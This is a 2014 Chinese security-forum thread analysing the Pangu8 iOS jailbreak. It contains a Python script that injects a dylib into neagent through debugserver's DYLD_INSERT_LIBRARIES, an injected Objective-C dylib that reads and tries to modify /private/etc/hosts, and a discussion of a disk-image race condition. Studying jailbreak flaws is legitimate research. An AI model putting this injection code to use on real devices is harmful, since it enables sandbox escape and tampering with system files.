首页
社区
课程
招聘
[原创]Pangu8越狱中所用 /usr/libexec/neagent 漏洞原理分析
发表于: 2014-12-12 21:07 33248

[原创]Pangu8越狱中所用 /usr/libexec/neagent 漏洞原理分析

2014-12-12 21:07
33248

这段时间对Pangu8越狱时所用的漏洞比较感兴趣,不过搜到的基本只有所使用漏洞的列表

__cstring:0000000100046A21 aStartJailbreak db 'Start jailbreak ..',0
__cstring:0000000100046AF3 aPreparingTheEn db 'Preparing the environment (1/6)',0
__cstring:000000010004708C aPreparingThe_2 db 'Preparing the environment (2/6)',0
__cstring:00000001000470AC aPreparingThe_3 db 'Preparing the environment (3/6)',0
__cstring:000000010004724D aPreparingThe_4 db 'Preparing the environment (4/6)',0
__cstring:0000000100046B68 aPreparingThe_0 db 'Preparing the environment (5/6)',0
__cstring:0000000100046B88 aPreparingThe_1 db 'Preparing the environment (6/6)',0
__cstring:0000000100046BA8 aInjecting12    db 'Injecting (1/2)',0
__cstring:0000000100046BEA aInjecting22    db 'Injecting (2/2)',0
__cstring:0000000100046BFA aFinalCleaning_ db 'Final cleaning...',0
# afc_make_directory(client, “/Pangu-Install/”)
__text:000000010002C5AC                 mov     rsi, cs:off_102502328 ; "/Pangu-Install/"
__text:000000010002C5B3                 call    _afc_make_directory
$ ls /private/var/mobile/Media/Pangu-Install/
Cydia.tar  packagelist.tar  pangu.tar  pangu_ex.tar
# 如果不存在,则创建PublicStaging/目录
__text:000000010002A982                 lea     rsi, aPublicstaging ; "PublicStaging"
__text:000000010002A989                 call    _afc_make_directory

# 写入PublicStaging/<timestamp>.ipa
__text:000000010002A9D6                 mov     rdi, [rbp+var_40]
__text:000000010002A9DA                 mov     rsi, [rbp+var_30] ; "PublicStaging/<timestamp>.ipa"
__text:000000010002A9DE                 lea     rcx, [rbp+var_38]
__text:000000010002A9E2                 mov     edx, 3
__text:000000010002A9E7                 call    _afc_file_open

# 调用com.apple.mobile.installation_proxy服务进行安装
__text:000000010002AA7B                 lea     rsi, aCom_apple_mo_3 ; "com.apple.mobile.installation_proxy"
__text:000000010002AA82                 lea     rdx, _instproxy_client_new
#!/usr/bin/env python

import os
import sys
import time
import plist
from imobiledevice import *

# mount /Developer image before test
# ideviceimagemounter /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/DeviceSupport/8.0/DeveloperDiskImage.dmg{,.signature}

def lockdown_get_service_client(service_class):
  ld = LockdownClient(iDevice())
  return ld.get_service_client(service_class)

def get_pangunew_Container(bundle_id="com.pangu.ipa1"):
  instproxy = lockdown_get_service_client(InstallationProxyClient)
  client_options = plist.Dict({
    "ApplicationType": "User",
    "ReturnAttributes": plist.Array([
      "CFBundleIdentifier",
      "CFBundleExecutable",
      "Container",
    ]),
  })
  result_list = instproxy.browse(client_options)
  for app in result_list:
    if app["CFBundleIdentifier"] == bundle_id:
      return "%s" % app["Container"]
  return ""

def get_pangunew_Path(bundle_id="com.pangu.ipa1"):
  instproxy = lockdown_get_service_client(InstallationProxyClient)
  return instproxy.get_path_for_bundle_identifier(bundle_id)

def debugserver_inject_neagent(app_container, app_path, dylib):
  debugserver = lockdown_get_service_client(DebugServerClient)

  with DebugServerCommand("QSetWorkingDir:", 1, [app_container]) as cmd:
    print debugserver.send_command(cmd)

  print debugserver.set_environment_hex_encoded("DYLD_INSERT_LIBRARIES=%s/%s" % (app_path, dylib))
  print debugserver.set_argv(1, ["/usr/libexec/neagent"])

def main():
  bundle_id = "com.pangu.ipa1"
  #dylib = "xuanyuansword.dylib"
  dylib = "demo_dylib.dylib"

  app_container = get_pangunew_Container(bundle_id)
  print "Container: %s" % app_container
  app_path = get_pangunew_Path(bundle_id)
  app_path = os.path.dirname(app_path)
  print "Path: %s" % app_path

  debugserver_inject_neagent(app_container, app_path, dylib)

if __name__ == '__main__':
  main()

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 3
支持
分享
最新回复 (21)
雪    币: 2664
活跃值: (3395)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
2
nice,沙发!
2014-12-12 21:09
0
雪    币: 296
活跃值: (89)
能力值: ( LV15,RANK:340 )
在线值:
发帖
回帖
粉丝
3
目前只分析到neagent加载起xuanyuansword.dylib,在越狱机器上会从 'Preparing the environment (1/6)' 直接跳到(6/6),很难顺着跟下去。
希望有大神能讲解下其他阶段的越狱流程,还有那个 “a sandboxing problem in debugserver (CVE-2014-4457)” 是怎么回事?

好吧,自问自答了。推测这个debugserver绕过沙盒漏洞,是说在pangunew.app安装目录下的dylib,注入neagent后可以访问pangunew.app的Container/之外路径。

修改注入的dylib为下面这样:
#include <errno.h>

#define MAX_READ_LINE (256)

// __DATA,__mod_init_func
__attribute__((constructor))
void mod_init_main()
{
	NSLog(@"[+] mod_init_main: dylib loaded");

	FILE *pFile;
	char buffer[MAX_READ_LINE] = {0};

	NSLog(@"[-] try read system file");
	pFile = fopen("/private/etc/hosts", "r");
	if (pFile == NULL) {
		NSLog(@"[-] open read failed: %s", strerror(errno));
	} else {
		while (!feof(pFile)) {
			if ( fgets (buffer, MAX_READ_LINE, pFile) != NULL )
				NSLog(@"%s", buffer);
		}
		fclose(pFile);
	}

	NSLog(@"[-] try write system file");
	pFile = fopen("/private/etc/hosts", "a");
	if (pFile == NULL) {
		NSLog(@"[-] open write failed: %s", strerror(errno));
	} else {
		NSLog(@"[-] append '127.0.0.1 www.baidu.com' to hosts.");
		fprintf(pFile, "127.0.0.1 www.baidu.com");
		fclose(pFile);
	}

	NSLog(@"[+] mod_init_main: end");
}

// vim:ft=objc


测试对 /private/etc/hosts 的读取是有权限的,不过系统分区是只读的mount,所以后面追加写会失败:
cat /etc/fstab
/dev/disk0s1s1 / hfs ro 0 1
2014-12-12 21:22
0
雪    币: 601
活跃值: (256)
能力值: ( LV11,RANK:190 )
在线值:
发帖
回帖
粉丝
4
研究研究
2014-12-12 21:28
0
雪    币: 941
活跃值: (1264)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
支持下,
2014-12-12 21:37
0
雪    币: 69
活跃值: (41)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
6
不错不错~~
2014-12-13 00:25
0
雪    币: 218
活跃值: (709)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
7
感谢分享。
2014-12-13 23:14
0
雪    币: 296
活跃值: (89)
能力值: ( LV15,RANK:340 )
在线值:
发帖
回帖
粉丝
8
也拜读过你的大作《p0sixspwn源码看越狱流程、原理、目的》,最近的TaiG所用的 DDI race condition 有研究过吗?
DeveloperDiskImage race condition (by comex) (also used in p0sixspwn)


和p0sixspwn里用的方式类似,不过我试了好久也没成功
iOS8里只能用 mobile_image_mounter_upload_image 上传的镜像了(位置不是PublicStaging/staging.dimage),不知道这个是怎么处理的
2014-12-14 09:50
0
雪    币: 244
活跃值: (189)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
进来学习楼主的研究精神.赞
2014-12-15 09:30
0
雪    币: 0
活跃值: (26)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
支持更多分享。
2014-12-15 16:21
0
雪    币: 100
活跃值: (328)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
学习了。
2014-12-15 16:38
0
雪    币: 14
活跃值: (26)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
12
楼主能在bbs.iosre.com上发一份吗?谢谢!好多人跟我说要多找一些高质量的文章了~
2014-12-15 16:46
0
雪    币: 296
活跃值: (89)
能力值: ( LV15,RANK:340 )
在线值:
发帖
回帖
粉丝
13
[QUOTE=snakeninny;1338031]楼主能在bbs.iosre.com上发一份吗?谢谢!好多人跟我说要多找一些高质量的文章了~[/QUOTE]

呵呵,我的lldb的基本用法就是在iosre上学的
不过这两天登录时总是刷不出验证码,所以才没转过去
2014-12-15 19:38
0
雪    币: 218
活跃值: (709)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
14
8的不清楚。ideviceimagemounter.exe在iOS8上能用么?
你的问题是有签名的ddi也mount失败还是说race condition条件难以达到?
如果是race condition我觉得用python执行效率低,来进行碰撞可能有难度。
2014-12-15 22:49
0
雪    币: 296
活跃值: (89)
能力值: ( LV15,RANK:340 )
在线值:
发帖
回帖
粉丝
15
ideviceimagemounter可以的。mount iOS8.0的DDI可以用这个命令:
ideviceimagemounter /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/DeviceSupport/8.0/DeveloperDiskImage.dmg{,.signature}


我的问题是:iOS8下有签名的ddi上传后,如何用afc去rename构造race condition?

看工具的源码,对新版本的mobile_image_mounter用的是upload_image接口。而upload_image上传的镜像不在afc的/private/var/mobile/Media下,所以好奇TaiG是如何用afc去rename镜像构造race condition的

ps: 好吧,真诡异。看了下自带的例子,虽然upload_image上传的镜像写到了/var/run/mobile_image_mounter/:
mobile_storage_proxy[2916] <Error>: makePathWithSignature:412 result: /var/run/mobile_image_mounter/93b18fa84d923006964cb359e6d705623c0630f58517e71529187da6e25340d3d611546a7a79733bd1439695c8df6e1d2c66a3ff453957b8d4189ad3da81cfcc/faa397780e6c57a5f1d21d15584d5aa2383cb53f07141c7b5107525871a95e4000411ef84cdc6deac66efbaf0c8b89fda27

但mount_image时的参数2 mountname依然传递的 /private/var/mobile/Media/PublicStaging/staging.dimage(没有对应文件)。估计是这个原因,导致可以用afc像以前那样rename吧
2014-12-16 14:47
0
雪    币: 116
活跃值: (70)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
16
mark
2014-12-17 16:58
0
雪    币: 188
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
厉害,学习学习啊。
2014-12-18 19:47
0
雪    币: 244
活跃值: (189)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
没记错的话,ios7.0开始 就用UploadImage上传dmg给imagemounter服务了,路径还是指定原先的Publicstage\xxx.dmg就可以,imagemounter服务自己会去处理吧.是这样吗?
2014-12-22 10:07
0
雪    币: 296
活跃值: (89)
能力值: ( LV15,RANK:340 )
在线值:
发帖
回帖
粉丝
19
嗯。接触mobile_image_mounter比较晚,不过确实在代码里看到lockdownd版本号的比较,应该是你说的iOS7.0开始改用upload_image,而不是像p0sixspwn中那样直接用afc上传。
这个伪路径挺莫名其妙的,真不明白这样做有什么作用
2014-12-22 22:31
0
雪    币: 14526
活跃值: (4094)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
学习下,有点深奥。
要从基础学起。
2014-12-26 22:48
0
雪    币: 11
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
pangu 在最后的一步,  使用的算法被vm过的,  使用了时间,设备ID,随时数。加密数据传.
成功回来CCTV,   失败是CCAV
LZ 有K掉吗?
2014-12-30 12:17
0
雪    币: 155
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
11月poc2014上pangu成员就已经介绍了越狱技术和漏洞了
2015-1-3 01:09
0
游客
登录 | 注册 方可回帖
返回
//